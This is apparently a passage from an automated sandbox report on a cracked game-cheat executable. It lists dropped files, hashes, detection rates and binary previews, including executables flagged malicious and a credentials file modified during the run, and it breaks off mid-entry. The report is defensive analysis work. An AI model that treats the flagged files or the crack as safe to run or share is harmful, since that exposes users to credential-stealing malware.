Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........R....H.4.>..gg.n6:...d1.<X.R&..V...5.d..o\%r'y..W....}.Gk!..r.7..k.@n..^....[.&......^..>.Su...^"aZ.......>m~.....u+..O.....3$s...ABo..)........4..W.3vp^.'..OF.........f.u.(o..).f..Yu\\..`.z.c...B.Bb.v..w.........c4r../..d\|...&@Wk...W..@......0.."0....H.............0..........,.v@....]...<.....n..m.RI..~o.....K..+B/$.).EP....H/..}......$.]....m.Y....P.......&/.Q...@7..`.$M..(-!m...*.H....k.P......E%.(.DvnlS....d....$.\|....K.......5.....k?........XG..0.... .m...c3O.......xm.x,.D.duG..F+.. Q!.NJT..&..y..LHng.'.[..._i.Pt.........w...:...q.../J..R1....N..]..b._...]y4..f......@.x..\B..h..8b0...{pi..(.....N=@..V...S..o\|d;....j.Kx.A..+.

C:\Users\user\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D

Download File

Process:	C:\Windows\System32\lsass.exe
File Type:	data
Category:	modified
Size (bytes):	11120
Entropy (8bit):	7.978781128270528
Encrypted:	false
SSDEEP:	192:auzjISjXr8+zztPx/14hJDZ1h9BTDpeU5hU9a5dwIbaA6dxrHH:akjISjX3nt5yDBDh95hQa5ru5ZHH
MD5:	18499DC82C8FEB5B7D61C016CD364893
SHA1:	940C7A8D45DB64DF6758471B50B596C845E18B2E
SHA-256:	31ED93DE5495C4245A984EF92102C09D4DAD525EA2F483D5B7F5B5B535BA7B9C
SHA-512:	B322B7549E8A7B6F6AC3F127331693A1C4B02E8178B653E5A6ADC5FA72AECDA59F285BAD18D015D4505D4C5C629309B3AE1FC0FFBCE3D7830B2DE25236FBEB93
Malicious:	false
Reputation:	unknown
Preview:	....d+..................z..O......_...K<.G..U....Q... 0...L.o.c.a.l. .C.r.e.d.e.n.t.i.a.l. .D.a.t.a........f...... ...._.Q>..].p%g....w..\..$`....t{............. ...N.'.&'..h:..x.K........D....VG`....).\&M5.7..y.I......=.3X.}%..;.A.#-....@......V.W.<=Pm.....Zz,..b..zZ.\|...[..m /.~.-V.tD.T..c$.#Hx.k....F`.Ln.`.....!...-\|.=.xH.....9..bB..g)3...$.....]..n../hLw..^@..]..y...q;.7.e^..s.-EO_........d.&U..F..\|.d... k..D .....p:.~.\|....5...E._..+[O.Sx.Q..\|.X\|.<..M.E].a......J.6.r.L..Ny....L... .t...Q8N...../...........'..o.F0=d.D:z.{^.{;g.H..G.......FB.R.J.5*..$k\y=.m....Mp.......A.3!.3yE.7.\|..5HgG.<8...9.@.9t.)Z..}U.mJ.Ev......$r.R.Ph....].%..OcB#.......MClA-d....k..d......b.r...s=...?F.2M..T.;./.=Xz...n.C..=.n.n..~..TE`..R.;;.LS..W...A@...6....fQ.f."p.q....C.o1.e4....t.....[..1..0.2...M\|..h.~.q(.=.W.gSG..a......L&..Fr....7...7.a.j^.......=OnV.d... .....vi..._...WP.1%..6..si...c.).t..)e..6Igo.M.!.E7.w...vsa.>2..%...6%.^H....H.'l..k...c.-2;....I...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	21152
Entropy (8bit):	5.609020900546377
Encrypted:	false
SSDEEP:	384:fVBrRStLxNNDXxr7YqG3zRn5nGFjYjOwVkLbH5BsGbn84wvZX:/rAFDXxrCR5n+jwBYZSGb8Dh
MD5:	41CC17371D0EE5E8E1F90A6F58FCF842
SHA1:	E0E69E35759C4D150E98E505FDC5FCEA80283287
SHA-256:	08870BBB23EB59E8111202323201BEB28E61481CD795FF593E61B59C092107AE
SHA-512:	A8BBE1EB2DE2499B3D4ED23AE0C690E287896CBB47ED4947E4C9DC039268ADA740CF72CF99A2714B7351F94A3E2429EDEE4694B12EAF9FB2E223E5140C76999E
Malicious:	false
Reputation:	unknown
Preview:	@...e...........b.......w.....w.j...s.....X..........@..........H...............o..b~.D.poM...L..... .Microsoft.PowerShell.ConsoleHostD...............4..7..D.#V.............System.Management.Automation0.................Vn.F..kLsw..........System..4...............<."..Ke@...j..........System.Core.4.................%...K... ...........System.Xml..L.................gQ?O.....x5.l.....#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.@................z.U..G...5.f.1........System.DirectoryServices<................t.,.lG....M...........System.Management...4...............&.QiA0aN.:... .G........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...D....................+.H..!...e........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\AC3BF.tmp

Download File

Process:	C:\Users\user\Desktop\meme crack\MemeSense Crack.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1698304
Entropy (8bit):	5.5407640165475955
Encrypted:	false
SSDEEP:	24576:KqE9PDdNeJY1+cFno93zwo/Gg73v6S2XG60eCdmCv3DsX7:pMPDdgJEhno93zw3S3v6S2j0TQeDY7
MD5:	C46F14685E2BB0266704B217574FA23F
SHA1:	2AAB345B7AE7C52BF6A23B5F637BE8E9D311A5DE
SHA-256:	4C22A9CE0EA00DE759BEADFF482088106D06D6C6BF93B833A743E999E775D636
SHA-512:	02D1816A33BB35CE6E215F5553A3D818CA2277A1F3E0E2320B14239C9C9A90E4B2F83DA7025B747B96937F13B949A90030A81A6956581DD0D7A597D1914C2677
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3% Antivirus: Virustotal, Detection: 5%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6...W..W..W../q.W..."..W..."..W..."..W..."..W......W..W...W..r"..W..r"..W..r"..W..Rich.W..................PE..d....kf.........." ...............0-.......................................@............`.................................................\V....... .......................0..P....I..p............................I..8............@.. ............................text....(......................... ..`.rdata..h ...@..."..................@..@.data........p.......P..............@....pdata..............................@..@.rsrc........ ......................@..@.reloc..P....0......................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_00dbombg.5nq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3so5jufl.yxd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5dx4czok.p4q.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bgl2m5hq.ey0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ddpeivzf.erl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gbpu4cz2.wm1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hr4kqyez.axt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_khxpqwaz.y0u.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lhll1xct.4up.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lmukws0h.dqc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nssnwhah.jsb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_plaze1iz.3ny.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_poh0m4fo.c0i.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wlsx30rr.5vi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xpvhnvav.awz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yzcp1nfi.3md.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\cli_gui.exe

Download File

Process:	C:\Users\user\Desktop\meme crack\MemeSense Crack.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22528
Entropy (8bit):	5.248087620555907
Encrypted:	false
SSDEEP:	384:LYm16unmMh55pE5GZVPofoX4uvGbv5uU89wO0XJV95DgXVC83GX3v:EkhKCmfobvOxuU89wJXJV95DgF93E3
MD5:	82EE19ED134912BE0FE2000CAF6421C5
SHA1:	C24B9C6D7EC33E32BCC38B0FB7981F0027B4D51B
SHA-256:	B225ED38C3C08087B806AAD5609A4F1DDE1DD7CB3C3E99C235E72DC150159AAC
SHA-512:	C61A127B5CBE743F70C141B74DB43599016E988A98977C071BC9B6C8BE6FE43B475FA74598F3379E2EF163FCCF81FC57501B4ABE3AAA29212CED1292192F8E11
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4% Antivirus: Virustotal, Detection: 9%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........T...........<........................................Y......Y.P....Y......Rich...................PE..d.....kf.........."......&...4.......'.........@..........................................`..................................................S..@...............................`....G..p............................G..8............@..P............................text....$.......&.................. ..`.rdata..."...@...$...*..............@..@.data... ....p.......N..............@....pdata...............P..............@..@.rsrc................T..............@..@.reloc..`............V..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jkiahanfoyhg.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\updater.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	150528
Entropy (8bit):	5.769203996328619
Encrypted:	false
SSDEEP:	3072:60gp4UGo8MYmB99SrtM0ieiG027bAM8mMu0cM:60c4kzOieR02s
MD5:	658AC2968AC81EADBE165CFD2A770C34
SHA1:	39D228C2B5D1181ABE8BCE6A95FE852C8E06A79C
SHA-256:	4F698FB3C8100837ACB42BEE30B7B0C362BCF6D3C617880BEDC86E1D57C25D11
SHA-512:	CAF647E30FB73FE25E879A83C38D24B9E2453754DABBB3B2C7E885B814C9C06053206CBAAE777061C3873FC687DE5F15FAC5058B8B675C57235CFCCC2277A106
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87% Antivirus: Virustotal, Detection: 80%, Browse
Reputation:	unknown
Preview:	MZ......................@.......................................sr......!..L.!This program cannot be run in DOS mode....$............qgL.qgL.qgL..aM.qgL..fM.qgL.qfL.qgLO.oM.qgLO..L.qgLO.eM.qgLRich.qgL........................PE..d.....[c.........."...... ...*.......#.........@..........................................`..................................................8.......p..`....`..8....................5..8............................................0...............................text...%........ .................. ..`.rdata.......0.......$..............@..@.data........P......................@....pdata..8....`.......8..............@..@.rsrc...`....p.......:..............@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\updater.exe

Download File

Process:	C:\Users\user\Desktop\meme crack\MemeSense Crack.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	6028664
Entropy (8bit):	7.666630157401685
Encrypted:	false
SSDEEP:	98304:mqH5yorsiuEImTRqgWj/PDDKlATbRsk7YAChRmaUKIJT:mq9r+EIWkj3DDKaxJQRm5LJT
MD5:	8CD62E3ECE85C4C3E9F6F7C816256ADF
SHA1:	9712769BE3F755C5ECBE68D38800A3A8ECDAF324
SHA-256:	39EBCDBB6993787BE2ED9D2B6668B9EE2707CA483A66B51D1302BFC610BA021B
SHA-512:	A0AA9F0E6542C526FC18D48AB945D8BE3245900381C9640F6E122A633A15DD9A9364BACD830FBC588A926EBEF8240300C1FBF4211EAE600CFF8B7E2C63613501
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79% Antivirus: Virustotal, Detection: 68%, Browse
Reputation:	unknown
Preview:	MZ......................@.......................................hr......!..L.!This program cannot be run in DOS mode....$.......PE..d....Z.e...............&......[..$.............@.............................P\.......\...`... ...............................................[.4.....[..I...`[.......[.x/...@\.0........................... K[.(.....................[.P............................text...............................`..`.data...@\Y......^Y.................@....rdata...=... [..>....[.............@..@.pdata.......`[......L[.............@..@.xdata..<.....[......`[.............@..@.bss.....#....[..........................idata..4.....[......p[.............@....CRT....`.....[......\|[.............@....tls..........[......~[.............@....rsrc....I....[..J....[.............@....reloc..0....@\.......[.............@..B........................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2L2B5PXKP0L540S8AZO2.temp

Download File

Process:	C:\Windows\ImmersiveControlPanel\SystemSettings.exe
File Type:	Matlab v4 mat-file (little endian) \253\373\277\272, sparse, rows 1, columns 0, imaginary
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.163890986728065
Encrypted:	false
SSDEEP:	3:/lklT8OFf:CT8Ol
MD5:	4FCB2A3EE025E4A10D21E1B154873FE2
SHA1:	57658E2FA594B7D0B99D02E041D0F3418E58856B
SHA-256:	90BF6BAA6F968A285F88620FBF91E1F5AA3E66E2BAD50FD16F37913280AD8228
SHA-512:	4E85D48DB8C0EE5C4DD4149AB01D33E4224456C3F3E3B0101544A5CA87A0D74B3CCD8C0509650008E2ABED65EFD1E140B1E65AE5215AB32DE6F6A49C9D3EC3FF
Malicious:	false
Reputation:	unknown
Preview:	........................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\f18460fded109990.customDestinations-ms (copy)

Download File

Process:	C:\Windows\ImmersiveControlPanel\SystemSettings.exe
File Type:	Matlab v4 mat-file (little endian) \253\373\277\272, sparse, rows 1, columns 0, imaginary
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.163890986728065
Encrypted:	false
SSDEEP:	3:/lklT8OFf:CT8Ol
MD5:	4FCB2A3EE025E4A10D21E1B154873FE2
SHA1:	57658E2FA594B7D0B99D02E041D0F3418E58856B
SHA-256:	90BF6BAA6F968A285F88620FBF91E1F5AA3E66E2BAD50FD16F37913280AD8228
SHA-512:	4E85D48DB8C0EE5C4DD4149AB01D33E4224456C3F3E3B0101544A5CA87A0D74B3CCD8C0509650008E2ABED65EFD1E140B1E65AE5215AB32DE6F6A49C9D3EC3FF
Malicious:	false
Reputation:	unknown
Preview:	........................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Jun 15 08:14:51 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9893563903681937
Encrypted:	false
SSDEEP:	48:8Rd4T8E+cH/ZidAKZdA1FehwiZUklqeh3y+3:80vn8y
MD5:	E0D500B3C53FB7AD3AC914F31DCDD65E
SHA1:	0F101D4FDC79BD4C1970D3F750C7E85E813F6E4E
SHA-256:	594AE0DAB50892D66E53AF77B3D3865A49B7A7E61CCEC4B4ACD52C263981B702
SHA-512:	5249B3F2B40FC3BE0BA41CE9DBEE37F3768AE03C3BEF0B060B2AD08CFE23791A27870E398C5E595F90B1FD4FE2270FE81EDAF5B6FAC2B198C9D944DAA1387893
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.......z....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.I....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.I....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.I....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.I..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.I...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
